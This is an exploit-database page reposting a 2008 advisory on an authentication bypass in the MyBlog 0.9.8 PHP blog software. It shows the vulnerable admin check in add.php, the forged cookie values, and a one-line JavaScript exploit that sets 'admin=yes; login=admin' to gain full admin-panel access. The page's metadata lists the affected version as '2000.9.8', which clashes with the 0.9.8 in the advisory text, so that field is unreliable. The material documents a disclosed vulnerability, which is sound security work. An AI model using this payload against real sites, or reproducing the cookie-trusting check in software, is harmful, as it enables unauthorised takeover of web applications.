MyBlog - exploit.company

vendor:

MyBlog

by:

Pepelux

7.5

CVSS

HIGH

Cookie Poisoning

264

CWE

Product Name: MyBlog

Affected Version From: 2000.9.8

Affected Version To: 2000.9.8

Patch Exists: NO

Related CWE: N/A

CPE: a:myblog:myblog

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

MyBlog <= 0.9.8: PHP and MySQL Blog/CMS software / Cookie poisioning

MyBlog is an open source Blog/CMS project. It allows begginers to have a simple to use blog/cms and it will still please developers with feature packed system with plugins, themes and modules. You can alter cookies to get admin privileges. If you try to enter http://blog/admin you obtain: 'Please Login' and the cookie is some likes that: login=Pepelux; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926. But if you change the cookie and put, for example: admin=yes; login=admin; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926. Then you obtain complete access to the admin panel. Exploit: javascript:document.cookie = "admin=yes; login=admin".

Mitigation:

Ensure that the application is not vulnerable to cookie poisoning attacks by validating the cookie data.

Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
MyBlog <= 0.9.8: PHP and MySQL Blog/CMS software / Cookie poisioning
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: MyBlog
$ File affected: all /admin/*.php files
$ Version: 0.9.8
$ Download: http://sourceforge.net/projects/myblog/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

MyBlog is an open source Blog/CMS project. It allows begginers to have a 
simple to use blog/cms and it will still please developers with feature 
packed system with plugins, themes and modules.


You can alter cookies to get admin privileges.


Code of add.php:

<?php 
if(isset($_COOKIE['admin']) OR isset($_COOKIE['post'])) {
	$name = $_COOKIE['login']; 
}
else {
echo "Please Login";
	exit;
}
?>

If you try to enter http://blog/admin you obtain: 'Please Login' and the cookie
is some likes that:

login=Pepelux; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926

But if you change the cookie and put, for example:

admin=yes; login=admin; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926

Then you obtain complete access to the admin panel.

Exploit:
javascript:document.cookie = "admin=yes; login=admin";

# milw0rm.com [2008-09-22]